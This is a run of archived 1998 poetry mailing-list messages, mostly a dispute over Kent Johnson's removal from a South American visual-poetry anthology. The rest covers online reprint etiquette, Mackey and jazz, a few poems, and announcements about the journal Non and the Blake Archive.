As one of the "key people involved in critiquing Perloff" who has stayed out of the controversy regarding Kent Johnson's being knocked out of a project regarding South American visual poetry, I suppose I now have to declare myself on the situation. Otherwise, it would look like I was one of the people he says plotted against him, or was in some way involved. Frankly, for many reasons,

the main one having to do with my personal life and not poetry-related at all, I haven't wanted to get into another controversy just now. But, if I have to, I have to.

1. I was not involved in the anti-Kent plot, nor did I know anything about it till his letter to this group. (And I've been so busy I didn't read it till I saw a reference to it in another letter.) Nor have I learned anything about it except what he has written.

2. I'm in an awkward spot since I do know people who feel that Kent was exploiting the South American poet he speaks of. Whether they might have expressed their doubts about Kent to the poet, I don't know. I can't believe they would have done more than that. I myself have nothing against Kent, and nothing against his participation in the project he was setting up (and which I also know hardly a thing about). But I don't want to start taking sides and perhaps alienating good friends-- particularly when I have so little idea what's really going on.

3. It would be unfortunate if the project will never come to fruition because of this kind of personality clash, or whatever it is.

4. I wish Kent would learn to moderate his us/themism.

--Bob G.

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529. Joe Amato/Kass Fleisher
Re: Letter from South America
Fri 13 Feb 1998

---

well about the only thing that can pull me out of this bronchial state i've been in for a week solid now (another poet with a bug up his---) is to express support for kent johnson and to say that i find his situation, on the basis of what i know at this point, deplorable...

but while i'm here i'd like to add my name to the chorus of folks who've argued that, if nothing else, it would be nice if subscribers were contacted prior to having their posts published elsewhere... mself personally, please feel free to spit out anything i say here anyplace else---and if you can contact me first, thank you...

at the same time, i *do* want to go on record as saying that this medium presents us with possibilities and problems that are new in many ways, and that the issues at stake in copyright, reprint rights, intellectual property rights, etc etc etc are messy and difficult and part & parcel of the digital era, the challenges we face... that while, e.g, i support the national writers' union wrt

authors (freelancers say) getting paid for electronic reprint of their work, there are other, knottier issues to consider... i think mark amerika's column in the most recent _american book review_ hits on some of these issues, if from an enthusiastically pro-artistic pov (which i find mself sympathetic to generally)...

[insert six poems by t. s. eliot, and one by john ashbery]

i trust it's clear by these latter [brackets] what i mean to imply: that this medium permits us to do all manner of things quite easily that might in fact not make a red [cough] cent... or a few red cents... and who here is to say that this shouldn't be done? (just say so and i'll start typing up, between coughs, poem after poem and posting it to this list, just to prove my point; but it's been done here, no?---and what if THOSE posts were published in print with poems intact?)... anyway, i'd hate to see us merely duplicate print practices hereabouts (e.g., permission from the publisher for a single LINE of poetry) w/o stopping to consider other possibilities (in terms of social relations, material forms, even spiritual quests)... steven harnad, e.g., has argued long and hard and controversially for a more radically 'free' view of online scholarship (for a nice overview of these and related issues, see doug brent's piece in the august, 1996, _ejournal_ , volume 6, number 3---you can get it @ http://www.hanover.edu/philos/ejournal/archive/)...

in any case, that we should be discussing such stuff indicates a change, a difference, of some significance... oh and some of you might wanna check out the site on copyright, fair use etc. that george washington u grad students have put up, at

http://www.nmjc.cc.nm.us/copyrightbay

and again---my main reason for jumping into the crosshairs to say that my heart is with kent at the moment, based on what i know...

best,

joe

email: [redacted]
url: http://www.iit.edu/~amato

↑ Index

530. **rsillima**
Antimodernism and other institutions
Fri 13 Feb 1998

David Z wrote to "correct" me about the workshops at the West Chester Conference, but when I visited that site within the past hour what I find is that the web site stillhas the 1997 conference details up, not the 1998 affair which I

quoted direct from the brochure (I live about 10 miles from there, which is how I get on the list). Keeping last year's data up on the web site must be someof that spirit of innovation among the new formalists that Finnegan was mentioning. Or maybe the idea of recycling the same workshops year after year with the same roster of presenters moving from one to another. "Make it same as last year," or however Pound put that.

I didn't say that the psychoanalytic institutes weren't possibly even a gazillion times worse than, say, the worst university, I merely said that they functioned outside of the university system as such and that that is what helped to make Freud such a free floating signifier within the academy. Ditto Marx's relation to the academy.

And while I do think every college should have at least one (and preferably 3 or 4) professors whose "field" is lit, and esp. poetry, post 1945, they are not the ones responsible for the legitimation of poetry -- that lies with the poets and they are for the most part not in the universities but in various other places, coffee houses, art galleries, computer companies. Noah Lissafoy, Mary Burger and Edmund Berrigan (and several thousand other folks for whom these folks are examples) are responsible for the legitimation of poetry today, not anyone on the faculties of Penn, Berkeley, Harvard, Buffalo, Naropa or wherever. [Yeah, I know this is an overstatement and that there are lots of good poets on campuses also, but I think it's important to stress the dynamic, which is what counts.]

Ron

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531. **Karen Kelley**
Re: Letter from South America
Fri 13 Feb 1998

Bob Grumman wrote:
>

> 2. I'm in an awkward spot since I do know people who feel that Kent was exploiting the South American poet
>
>
By publishing his work?

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532. Bob Grumman
Publication Announcements
Fri 13 Feb 1998

This is a multi-part message in MIME format.

Forgive the non-controversial interruption but I need to make the following announcement:

Recently my press, the Runaway Spoon Press published Number Poems, by Irving Weiss, a collection of visual and textual poems composed according to various concepts of numeration. Irving Weiss's Visual Voices: The Poem As a Print Object is now available in a second printing. Examples from both books can be seen at The Runaway Spoon Press Site at http://www.interlog.com/~dal/rasp/

--Bob G.

Bob Grumman

[redacted] http://www.geocities.com/SoHo/Cafe/1492

Comprepoetica, the Poetry-Data-Collection Site

----------7BD55B0C415C--

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533. KENT JOHNSON
Incredible
Fri 13 Feb 1998

On Feb 13, Bob Grumman said:

> *As one of the "key people involved in critiquing Perloff" who has stayed out of the controversy regarding Kent Johnson's being knocked out of a project regarding South American visual poetry, I suppose I now have to declare myself on the situation. Otherwise, it would look like I was one of the people he says plotted against him, or was in some way involved.*

Bob, I can see why you could take that paragraph as possibly implying that I suspected you had something to do with terminating this project. I did not mean to imply that, and I apologize for not phrasing things with more care. As you'll remember, we've posted back-channel in a friendly spirit, and I hadn't at all thought of you as someone who might have done something unethical. I was trying to say, rather, that the issues involved here are obviously of relevance to the concerns that informed that other discussion which people jumped into so eagerly and vociferously. And, yes, I was wondering why the premeditated squashing of a project promoting visual poetics was not attracting more commentary form the vispo scene. And I asked the questions I did because I

assumed (and rightly, as you have shown) that people in the vispo crowd know some things that I don't yet know but which I am determined to find out and clarify.

> *2. I'm in an awkward spot since I do know people who feel that Kent was exploiting the South American poet he speaks of. Whether they might have expressed their doubts about Kent to the poet, I don't know. I can't believe they would have done more than that.*

Well, apparently various communications from at least two persons expressed "doubts" with a force sufficient to scuttle, practically overnight, a very fraternal intellectual and professional relationship.

> *I myself have nothing against Kent, and nothing against his participation in the project he was setting up (and which I also know hardly a thing about). But I don't want to start taking sides and perhaps alienating good friends-- particularly when I have so little idea what's really going on.*

Exactly the point. What is going on? And to hear that there are people who feel that I was "exploiting" (!?) the person who had agreed to co-edit the anthology with me is absolutely mind-boggling. I will say to these people again: Why did none of you approach me with these concerns about my harmful motives? Why did none of you approach me to even inquire about the project and its aims? Do any of you know me? This is absolutely incredible. Who are you? Have the courage, for goodness sake, to come forward and tell me this and explain why you feel I was engaged in exploiting somebody. How could I have been exploiting a poet whose intellect and accomplishments far overshadow my own? If anyone truly thinks I was "exploiting" this poet because I had entered into a collaborative relationship with him, they betray nothing but the most shallow and embarrassing paternalism.

> *3. It would be unfortunate if the project will never come to fruition because of this kind of personality clash, or whatever it is.*

Yes, it is unfortunate that the project has been ruined and will not come to fruition. But what "personality clash"? I don't believe I've ever even met any of those involved. Or am I wrong? Do me a favor, Bob, and I ask this sincerely: Tell your "good friends" that I would greatly appreciate it if they would be so decent as to introduce themselves to me.

> *4. I wish Kent would learn to moderate his us/themism.*

No comment.

Kent
>

> --Bob G.
>

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534. **Thomas Bell**
Re: Fri. night po wars, part VI
Sat 14 Feb 1998

---

oops, realizedwhen reading this reply I failed to make the appropriate elisions and possibly altered the sense of the quote even though I think Henry has it right: tom bell

Better version: Milner - Something of the nature of the forces that bring order out of chaos.....(psychic creativeness) is the capacity for making a symbol. The result [of pressure to produce] is that whole areas of their experience become cut off from the integrative influence of reflective thinking. What they are in need of is a setting in which it is safe to indulge in reverie.

At 08:27 AM 2/13/98 EST, Henry Gould wrote:
>On Thu, 12 Feb 1998 22:48:03 -0600 Thomas Bell said:
>>Milner -
>> Something of the nature of the forces that bring order out of
>>chaos.....psychic creativeness is the capacity for making a symbol...the
>>result is that whole areas of their experience become cut off from the
>>integrative influence of reflective thinking. What they are in need of is a
>>setting in which it is safe to indulge in reverie.
>
>This is exactly what I was talking about with reference to the Russian poet.
>sounds very politically incorrect!!
>- Henry Gould
>
>

↑ Index

535. **Thomas Bell**
Re: Hello? Kitty
Sat 14 Feb 1998

I think it is a supposition that what occured had anything to do with the Yas jazz (something that does seem to get itself talked - or wriiten - about ad infinitum). If I were to be thinking along this line I could think of a lot of reasons a person or group of people might want to do me dirty, reasons that have no connection with the "authorship" of any poem. tom bell

At 11:33 AM 2/13/98 MST7MDT, Christopher W. Alexander wrote:
>Aldon writes:
>> At the risk of contradictory thinness -- IF the poems speak for themselves,
>> and if no one should care whether or not the poems are the work of a
>> nuclear holocaust survivor, then what is the purpose in presenting them in
>> the guise of the work of a nuclear holocaust survivor? My reading of the
>> Yasusada works is that the entire "package" is part of the work --
>
>I think this should be clear enough, right? it's certainly the allure
>of the project – that beyond some really beautiful poems, there's
>this tremendous edifice of thoroughly spurious authorship (and
>thoroughness is definitely part of the effect, here); more than that,
>

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536. **Thomas Bell**
Re: Letter from South America
Sat 14 Feb 1998

Even though this is becoming one of those things I wrote about in a post a couple of days ago, I feel I need say a few things here.

1. I feel like I'm back in he climate of the late Joe McCarthy - turn in your friends and stand up and fight or you're a Red.

2. I need to say again and probably more directly what I said earlier, possibly to obliquely. I have in the past corresponded with the poor poet in question. One of the things he said and that I included in that earlier post was that he would be interested in joining this list but uncomfortable doing so because of his lack of confidence in his command of English. Please leave the poor man and his reputation out of this! He's uncomfortable with the shifting sands here. I am only posting this without clearing it with him beforehand because this has become so convoluted and so subjet to misinterpretation that I don't think I could even explain it to someone who is confident in his/her understanding of English. In the best of worlds though I would think that this post of mine would most appropriately be cleared by him. I think the problems that seem to have arisen here are a reflection on earlier comments on this list regarding the legality/advisibility of releasing/printing/posting material without prior consent.

3. I do support in principle protests against what apparently happened to Kent Johnson but really do need to know more about what did or did not happen.

4. I do not now nor have I ever had any contact with anyone who may have ever said, written, or emailed anything negative (or positive for that matter)

about Kent Johnson. I also never have or do I intend to say, write, or email anything about Kent Johnson to anyone.

5. This problem (along with the "Perloff/vispo poets" affair and other affairs) is beginning to become an issue of literary reputation or sensation. This is problematic for me as I think it obscures real and important issues that are at stake. In this instance I think the issue of fairness is being swamped by concerns with personality and literary reputation. I think a thoughtful reading of what was posted (and is in the archives) in the Perloff/vispo thing will reveal that what was/is at stake were some real issues related to quality, knowledge, and experience. It was not merely an imbrolio over personality and literary reputation. I would hope that the same is true of the Yaz affair.

Hope this doesn't entangle things further.
tom bell

At 04:24 PM 2/13/98 -0500, KENT JOHNSON wrote:
>I'd like to thank the numerous folks who have expressed support both
>here and b-c. I want very much to not fall into the trap of playing
>the martyr on this issue (a real temptation), but I'll allow myself
>the sentimental luxury of saying that the expressions of solidarity

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537. KENT JOHNSON
Reply to Tom Bell (sadder and sadder)
Sat 14 Feb 1998

On Feb, Friday 13, a day of very bad luck, Tom Bell said:

> *Even though this is becoming one of those things I wrote about in a post a couple of days ago, I feel I need say a few things here.*
>
> *1. I feel like I'm back in he climate of the late Joe McCarthy - turn in your friends and stand up and fight or you're a Red.*

Tom:

Are you implying that I am asking people to turn in their friends?
When have I said this? What I have asked for, numerous times and
very plainly, is that those who involved themselves in writing
about me to my collaborator step forward _of their own accord_ and
do me the simple courtesy of explaining their actions. In what sense
does this have anything to do with McCarthyism?? Unless I am grossly
misunderstanding your intent, you have got this very backwards:
It seems that there have been, in some form and degree, a certain
number of defamatory things said about me without my having the

opportunity to know what was said and who said it. It's this that is
akin to the spirit of McCarthyism, and it is precisely why this is an
issue of importance, one that goes beyond, as you would have it,
matters of "personality."
>
> 2. I need to say again and probably more directly what I said earlier,
> possibly to obliquely. I have in the past corresponded with the poor
> poet in question. One of the things he said and that I included in that
> earlier post was that he would be interested in joining this list but
> uncomfortable doing so because of his lack of confidence in his command
> of English. Please leave the poor man and his reputation out of this!
> He's uncomfortable with the shifting sands here.

Could you please be yet _less_ oblique here? What exactly does English have to do with this? That I have possibly misunderstood him? All of our communication has been in Spanish. Or are you saying that he has misunderstood the English of what was written to him by others about me? If this is the case, I ask again--please simply come forward back-channel and clarify what was lost in translation. And what is this about the "poor man" and "poor poet"? "Poor" how? Helpless? Childlike? What on earth do you mean? When you use modifiers like that you don't do much for (as you say) "his reputation," which you ask that I (I think you're talking about me) leave out of this. But anyway--where have I said anything that has compromised his reputation? Have I? You mention McCarthyism--reading your post I feel like I'm a charachter in _1984_.

> *I am only posting
> this without clearing it with him beforehand because this has become
> so convoluted and so subjet to misinterpretation that I don't think I
> could even explain it to someone who is confident in his/her understanding
> of English.*

Tom: I speak fluent English and Spanish. How about if you post me back-channel and try to explain it to me? I will be very patient and listen intently. If you stumble, you can start over again as many times as you want. I have been waiting very patiently (well, sort of) for some one to explain it to me! It has been an interesting thing to be patient in a circumstance like this, when you're more or less looking like a goddamned fool two days before your tenure approval hearing and you start hearing that, well, this is all just a matter of personality--mainly a matter of the personality of someone who wanted to "exploit" a "poor" poet from South America.

> *In the best of worlds though I would think that this post of mine would
> most appropriately be cleared by him. I think the problems that seem to
> have arisen here are a reflection on earlier comments on this list
> regarding the legality/advisibility of releasing/printing/posting
> material without prior consent.*

Huh??
>
> 3. I do support in principle protests against what apparently happened
> to Kent Johnson but really do need to know more about what did or did
> not happen.

Hello Tom. Just what do you think I've been trying to do? Write me b-c if you want and let's see if we can't work together to help clear this up. I have two letters in my hand. They very clearly say (in Spanish) that persons known to the poet have sent him various communications "questioning" his relationship with me and placing him in an "embarrassing position." These letters also say other things, and they ain't pretty when you put it all together.
>
> 4. I do not now nor have I ever had any contact with anyone who may have
> ever said, written, or emailed anything negative (or positive for that
> matter) about Kent Johnson. I also never have or do I intend to say, write,
> or email anything about Kent Johnson to anyone.

Will you at least write about Kent Johnson _to_ Kent Johnson?

> *5. This problem (along with the "Perloff/vispo poets" affair and other affairs) is beginning to become an issue of literary reputation or sensation. This is problematic for me as I think it obscures real and important issues that are at stake. In this instance I think the issue of fairness is being swamped by concerns with personality and literary reputation. I think a thoughtful reading of what was posted (and is in the archives) in the Perloff/vispo thing will reveal that what was/is at stake were some real issues related to quality, knowledge, and experience. It was not merely an imbrolio over personality and literary reputation. I would hope that the same is true of the Yaz affair.*

"the issue of fairness is being swamped by concerns with personality and literary reputation..." Tom, excuse my language, but, no forget it... Please Tom, are you jsut being mean spirited here or are you just having a temporary blackout? I am sorry, I jsut don't know what to say.

> *Hope this doesn't entangle things further.*
> *tom bell*
>
> *At 04:24 PM 2/13/98 -0500, KENT JOHNSON wrote:*
> *I'd like to thank the numerous folks who have expressed support both here and b-c. I want very much to not fall into the trap of playing the martyr on this issue (a real temptation), but I'll allow myself the sentimental luxury of saying that the expressions of solidarity*

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538. KENT JOHNSON
I mean sabbatical
Sat 14 Feb 1998

In my last post, substitute "sabbatical" for "tenure".

Tired.

Kent

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539. Karen and Trevor
hugh steinberg
Sat 14 Feb 1998

Hi Hugh-

Can you backchannel me?

(Sorry everyone.)

Karen McKevitt
[redacted]

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540. Thomas Bell
Re: Reply to Tom Bell (sadder and sadder)
Sat 14 Feb 1998

Yes, Kent I think you're right, this appears to have escalated and it's getting complicated and we're not communicating well. I can see where I conributed to the confusion in some ways. I agree that it is best we go off list regarding this and then come back soon with evidence we've cleared it up. At that point we can bring our ruminations back for the others if there is interest and need. tom bell

At 01:06 AM 2/14/98 -0500, KENT JOHNSON wrote:
>On Feb, Friday 13, a day of very bad luck, Tom Bell said:
>
>> Even though this is becoming one of those things I wrote about in a post
>> a couple of days ago, I feel I need say a few things here.
>>
>> 1. I feel like I'm back in he climate of the late Joe McCarthy - turn in
>> your friends and stand up and fight or you're a Red.
>

>Tom:
>
>Are you implying that I am asking people to turn in their friends?
>When have I said this? What I have asked for, numerous times and
>very plainly, is that those who involved themselves in writing
>about me to my collaborator step forward _of their own accord_ and
>do me the simple courtesy of explaining their actions. In what sense
>does this have anything to do with McCarthyism?? Unless I am grossly
>misunderstanding your intent, you have got this very backwards:
>It seems that there have been, in some form and degree, a certain
>number of defamatory things said about me without my having the
>opportunity to know what was said and who said it. It's this that is
>akin to the spirit of McCarthyism, and it is precisely why this is an
>issue of importance, one that goes beyond, as you would have it,
>matters of "personality."
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>> possibly to obliquely. I have in the past corresponded with the poor
>> poet in question. One of the things he said and that I included in that
>> earlier post was that he would be interested in joining this list but
>> uncomfortable doing so because of his lack of confidence in his command
>> of English. Please leave the poor man and his reputation out of this!
>> He's uncomfortable with the shifting sands here.
>
>Could you please be yet _less_ oblique here? What exactly does
>English have to do with this? That I have possibly misunderstood him?
>All of our communication has been in Spanish. Or are you saying that
>he has misunderstood the English of what was written to him by others
>about me? If this is the case, I ask again--please simply come
>forward back-channel and clarify what was lost in translation. And
>what is this about the "poor man" and "poor poet"? "Poor" how?
>Helpless? Childlike? What on earth do you mean? When you use
>modifiers like that you don't do much for (as you say) "his
>reputation," which you ask that I (I think you're talking about me)
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>compromised his reputation? Have I? You mention McCarthyism--reading
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>> could even explain it to someone who is confident in his/her understanding

>> of English.
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>Tom: I speak fluent English and Spanish. How about if you post me
>back-channel and try to explain it to me? I will be very patient and
>listen intently. If you stumble, you can start over again as many
>times as you want. I have been waiting very patiently (well, sort of)
>for some one to explain it to me! It has been an interesting thing to
>be patient in a circumstance like this, when you're more or less
>looking like a goddamned fool two days before your tenure approval
>hearing and you start hearing that, well, this is all just a matter
>of personality--mainly a matter of the personality of someone who
>wanted to "exploit" a "poor" poet from South America.
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>> have arisen here are a reflection on earlier comments on this list
>> regarding the legality/advisibility of releasing/printing/posting
>> material without prior consent.
>
>Huh??
>>
>> 3. I do support in principle protests against what apparently happened
>> to Kent Johnson but really do need to know more about what did or did
>> not happen.
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>clear this up. I have two letters in my hand. They very clearly say
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>communications "questioning" his relationship with me and placing him
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>and they ain't pretty when you put it all together.
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>> 4. I do not now nor have I ever had any contact with anyone who may have
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>> matter) about Kent Johnson. I also never have or do I intend to say, write,
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>> other affairs) is beginning to become an issue of literary reputation

>> or sensation. This is problematic for me as I think it obscures real
>> and important issues that are at stake. In this instance I think the
>> issue of fairness is being swamped by concerns with personality and
>> literary reputation. I think a thoughtful reading of what was posted
>> (and is in the archives) in the Perloff/vispo thing will reveal that
>> what was/is at stake were some real issues related to quality, knowledge,
>> and experience. It was not merely an imbrolio over personality and
>> literary reputation. I would hope that the same is true of the Yaz
>> affair.
>
>"the issue of fairness is being swamped by concerns with personality
>and literary reputation..." Tom, excuse my language, but, no forget
>it... Please Tom, are you jsut being mean spirited here or are you
>just having a temporary blackout? I am sorry, I jsut don't know what
>to say.
>
>> Hope this doesn't entangle things further.
>> tom bell
>>
>> At 04:24 PM 2/13/98 -0500, KENT JOHNSON wrote:
>> >I'd like to thank the numerous folks who have expressed support both
>> >here and b-c. I want very much to not fall into the trap of playing
>> >the martyr on this issue (a real temptation), but I'll allow myself
>> >the sentimental luxury of saying that the expressions of solidarity
>>
>
>

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541. **Alan Myouka Sondheim**

SONG FOR EMPEROR JIMMU (see Nihong)

Sat 14 Feb 1998

-

SONG FOR EMPEROR JIMMU

Come on, my boys!
Come on, my boys!
Let the arrows hail!
Let the arrows hail!
"Let us smite them utterly!"
"Let us smite them utterly!"

Oh boys, let's go!
Oh boys, let's go!
Let us dance around the kami!
Let us dance around the jinja!
Let us traverse their scapula!
Let us traverse their scapula!

Oh boys, let's cut them utterly!
Oh boys, let's cut them utterly!
Let's cut them down and up!
Let's cut them up and down!
Oh boys, let the arrows hail!
Oh boys, let the stones pound away!
Oh boys, let's pound away the stone!

Now, ha ha!
Now, hai hai!
"Let us pound them utterly!"
"Let us cut them utterly!"
Let the birds fly away!
Let the beasts fly afield!
Let them fly utterly!
"Let us let them fly utterly!"

Smite them, boys!
Don't let them fly utterly!
Don't let them pound utterly!
Don't let them cut utterly!
Smite them, boys!
Don't let them dance utterly!
Utterly smite them!
Utterly smite them!

Don't let them pound!
Don't let them!
Don't let them pound!
Don't let them!
Utterly smite them!
Cut them!
Utterly smite them!
Cut them!
Don't let them fly utterly!

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542. Miekal And
Happy Birthday Bern
Sat 14 Feb 1998

It is Bern Porter's birthday today. I believe he is 87.

a short excerpt from one who has been ranting the longest

...

The baiting of suckers
The banishing of believers
The beating of bare-asses
The bilking of swindlers
The breeding of monsters
The brining of sweets
The busting of influence

....

from
The Last Acts of Saint Fuck You
by Bern Porter
Xexoxial Editions, 1985

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543. KENT JOHNSON
Re: SONG FOR EMPEROR JIMMU (see Nihong)
Sat 14 Feb 1998

Alan's war chant below reminds me (among other things) that I had meant to say something about Rachel Levitsky's forward of the "Don't Bomb Iraq" open letter. Which was jsut to say, Rachel, thank you, and can you please be sure to forward to all of us again the second part that the co-signers promise, and could as many of us as possible distribute this over the networks at our places of work, etc?

> -
>
> *SONG FOR EMPEROR JIMMU*
>
> *Come on, my boys!*
> *Come on, my boys!*
> *Let the arrows hail!*
> *Let the arrows hail!*
> *"Let us smite them utterly!"*

"Let us smite them utterly!"

Oh boys, let's go!
Oh boys, let's go!
Let us dance around the kami!
Let us dance around the jinja!
Let us traverse their scapula!
Let us traverse their scapula!

Oh boys, let's cut them utterly!
Oh boys, let's cut them utterly!
Let's cut them down and up!
Let's cut them up and down!
Oh boys, let the arrows hail!
Oh boys, let the stones pound away!
Oh boys, let's pound away the stone!

Now, ha ha!
Now, hai hai!
"Let us pound them utterly!"
"Let us cut them utterly!"
Let the birds fly away!
Let the beasts fly afield!
Let them fly utterly!
"Let us let them fly utterly!"

Smite them, boys!
Don't let them fly utterly!
Don't let them pound utterly!
Don't let them cut utterly!
Smite them, boys!
Don't let them dance utterly!
Utterly smite them!
Utterly smite them!

Don't let them pound!
Don't let them!
Don't let them pound!
Don't let them!
Utterly smite them!
Cut them!
Utterly smite them!
Cut them!
Don't let them fly utterly!

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544. **Michael Magee**
Re: experiment and poetry wars
Sat 14 Feb 1998

"From: Harold Rhenisch <[redacted]>

>>Experiment, then, is
the method by which, to steal a formulation of Nate Mackey's, "individual
expression both reflects and redefines the collective, realigns, refracts
it." <<

That sounds a lot like the Great American Myth. It might be less relevent for that small part of a few people's lives still protected from its reach in remote corners of the globe. People well worth listening to.

Mind you, non-individual expression would do the same, wouldn't it? A group
expression, too? And which collective?"

Well, Mackey might say that if it sounds like the "Great American Myth" - and I'm guessing the myth you're talking about is the myth of some form of "rugged individualism," etc, though I must say its a rather tired critique of something as subtle as Mackey's formulation, a kind of catch-all - its only insofar as that myth(s) has been influenced by those formerly "remote corners of the globe" you mention, West Africa for instance. The individual *reflects* the collective every bit as much as she helps to realign it. Behind this formulation too is Mackey's interest in jazz, an Ellisonian model of that art form, where the soloist is placed in the paradoxical position of always playing "both with and against the group." Does "Great American" suffice as a tag for that equation? As a description of a particular kind of social dynamic I'm sure some of us could find equivalents in other "corners of the globe." -m.

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545. **Harold Rhenisch**
Re: experiment and poetry wars
Sat 14 Feb 1998

>>The individual *reflects* the collective every bit as much as
she helps to realign it. Behind this formulation too is Mackey's interest
in jazz, an Ellisonian model of that art form, where the soloist is placed
in the paradoxical position of always playing "both with and against the
group." Does "Great American" suffice as a tag for that equation? As a

description of a particular kind of social dynamic I'm sure some of us could find equivalents in other "corners of the globe." -m.<<

Sure it suffices. Sure, there are equivalents in other parts of the world. Nonetheless, since these are just descriptions of behaviour, why should such descriptions not be an American lens? It seems to me entirely logical that an American would have certain predisposed ways of seeing, based upon certain notions of the relationship of the individual to the group. Why not? Wouldn't a Hungarian? Besides, isn't the American myth culturally dominant throughout the world, anyway? Isn't that what Disneyland and Hollywood have been doing all these years? Isn't that what Clinton and Iraq are all about? When the terms of discourse are set by a certain lens, it is not surprising that they turn up complementary material, because other material will be outside of the lens, or grammar, set by the discourse. Am I missing something?

Harold
[redacted]

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546. Laura Moriarty
sublime non
Sat 14 Feb 1998

Asked Bill luoma to post this for me when I was off the list briefly but I don't think he got to it -

The sublime non is out with work by Albon, Grenier, Saidenberg (a book), Bromige, Benson & Sulzer, Jang, Cole, Hocquard, Howe, Schneider, Takagai, Vassilakis, Dunn (a site), Kim, Kaufman, Stroffolino, Selby, Loden, Tranter, Browne, Murray, Luoma(text and images), Harrison, Fuller, DuPlessis and Herndon(art). Long Notes section including work by Nate Mackey who I have been reading a lot lately and who I notice was just mentioned here. There are reviews and more are wanted. I seem recently to have had a sort of spelling flu so there are also no doubt mistakes. (Please e me and I will correct.)

http://socrates.berkeley.edu/~moriarty/

Contributors who have not done so should send bios.

I am no longer reachable at [redacted] - Please note new email -

Laura Moriarty
[redacted]

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547. **maz881**
New non
Sat 14 Feb 1998

Dr. Moriarty asked me to forward this to the list:

The sumblime non is up. Work by 26 writers. Visuals and reviews. Get it while it's hot!

Laura Moriarty
http://socrates.berkeley.edu/~moriarty

new email:
[redacted]

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548. **David R. Israel**
"you have a guest tonight"
Sun 15 Feb 1998

& in other news (vide Reuters, appended)

might best be construed as
    a sort of operatic aria

/ / / /

| You Have a Guest Tonight
|
|
| you have a guest tonight
| been a long day of drivin'
| my Beduoin tractor down
| back alleyways -- hard though
|
| kinda hard it can be to navigate
| estrangement's track -- but if fate
| & necessity dictate coyness
| (a wry & unwonted shyness)
|
| I'm rough & ready -- not unlike
| Grecian gods afore who garbed
| as commoners might show up
| to slyly clink your ceramic cup
|
| thus too were hoary Pharoahs

| shown commonday modes of life
| in ritual training for high office
| obscurely wandering a year's time
|
| in low disguise -- have you got
| an extra futon? render Caesar
| a spare crouton? you've clipped
| the winning coupon! here am I

d.i. (2-15-97 9:50 a.m.)

/ / / /

Sunday February 15 7:20 AM EST

Saddam on the Move for Security Reasons

NEW YORK (Reuters) - Fearing an American air attack, Saddam Hussein has reverted to the furtive lifestyle he maintained in the Gulf War, moving from house to house and employing decoys and disguises, The New York Times reported Sunday. . . .

According to the Times, Hussein often sends out presidential convoys of cars as decoys, then dresses as a Beduoin and drives another car himself.

He also stays overnight at random ordinary Iraqi households, the Times said. The newspaper reported that his hosts will not know of the visit until a member of his Special Guard, his security force, knocks on their door to announce: "You have a guest tonight." . . .

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549. **rsillima**
Spahn, Kutik, Spandrift
Sun 15 Feb 1998

Nice to see a review of Ilya Kutik's Ode on Visiting the Belasoraisk Spit on the Sea of Azov, a really wonderful work and wonderful translation, in the new issue of Non. No mention of Ilya's winning the gold for figure skating, tho.

Non, like Jacket and a few other venues hereabouts, is showing what the WWW can really do vis a vis alternative publishing. Totally great effort.

Warren Spahn pitched so long in the majors that his first manager (1942 Boston Braves) was also his last (1965 NY Mets), Casey Stengel. Close readers here will recall that Stengel was an early version of Jack Spandrift (and may indeed _be_ Jack Spandrift, which would explain a lot). Spahn coached in Japan (!) and Mexico apparently before heading back to the mound in Mexico, which actually delayed his entrance in the Hall o' Fame by 3 years. The man did indeed lose 3

years to WW2 (and got a purple heart after being shrapneled on the Rhine), won 267 games before he pitched his first no-hitter (his second came at the age of 41) and did one thing no active pitcher will ever come close to: he hit 35 home runs. If you never saw his high leg kick (nor the righty cloned version Juan Marichal still says cut his career short), you have no idea how beautiful baseball as a sport can be. Spicer coulda told you,

Ron

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550. **Michael Magee**
Re: experiment and poetry wars
Sun 15 Feb 1998

I understand your point Harold, but I guess if you're missing someting its the fact that neither Hollywood or Disneyland has ever embraced anything even remotely resembling a model of cultural practice based on jazz ensemble collaboration and the endless improvisation of individual and collective identity. My God, I wish they would! -m.

According to Harold Rhenisch:
>
> >>The individual *reflects* the collective every bit as much as
> she helps to realign it. Behind this formulation too is Mackey's interest
> in jazz, an Ellisonian model of that art form, where the soloist is placed
> in the paradoxical position of always playing "both with and against the
> group." Does "Great American" suffice as a tag for that equation? As a
> description of a particular kind of social dynamic I'm sure some of us
> could find equivalents in other "corners of the globe." -m.<<
>
> Sure it suffices. Sure, there are equivalents in other parts of the world.
> Nonetheless, since these are just descriptions of behaviour, why should
> such descriptions not be an American lens? It seems to me entirely logical
> that an American would have certain predisposed ways of seeing, based upon
> certain notions of the relationship of the individual to the group. Why
> not? Wouldn't a Hungarian? Besides, isn't the American myth culturally
> dominant throughout the world, anyway? Isn't that what Disneyland and
> Hollywood have been doing all these years? Isn't that what Clinton and Iraq
> are all about? When the terms of discourse are set by a certain lens, it is
> not surprising that they turn up complementary material, because other
> material will be outside of the lens, or grammar, set by the discourse. Am
> I missing something?
>

> Harold
> [redacted]
>

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551. Matthew Kirschenbaum
update from the Blake Archive
Sun 15 Feb 1998

The editors of the William Blake Archive <http://www.iath.virginia.edu/blake/> are pleased to announce the publication of an electronic edition of _Songs of Innocence and of Experience_, copy Z. It joins editions of three copies of _The Book of Thel_ and two copies of _Visions of the Daughters of Albion_. In the coming week, these works will be joined by _The Marriage of Heaven and Hell_, copy D, _The Book of Urizen_, copy G, _America, a Prophecy_, copy E, and _Europe, a Prophecy_, copy B. All of these editions have newly edited texts and were scanned from 4x5 color transparencies made specifically for the Archive. They are all fully searchable for both text and images and are supported by the unique Inote and ImageSizer applications described in our previous updates.

Urizen copy G and _Songs_ copy Z were produced in Blake's late printing and coloring styles, c. 1818 and c. 1826 respectively. _America_ copy E is a monochrome copy from 1793; _Europe_ copy B was color printed in 1794, and _Marriage_ copy D was produced in 1795 on large paper and with some rudimentary color printing.

We will be adding second and third copies of most illuminated books in the coming months, with the goal of having the entire illuminated canon online later this year. In addition, work continues on the SGML edition of David V. Erdman's _Complete Poetry and Prose of William Blake_, which we anticipate releasing sometime this spring.

Joseph Viscomi, Morris Eaves, and Robert Essick

========== Matthew G. Kirschenbaum
University of Virginia [redacted] or [redacted] Department of English
http://www.iath.virginia.edu/~mgk3k/ The Blake Archive | IATH

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552. **Annie Finch**
Claustrophic Convocation on Pattern
Sun 15 Feb 1998

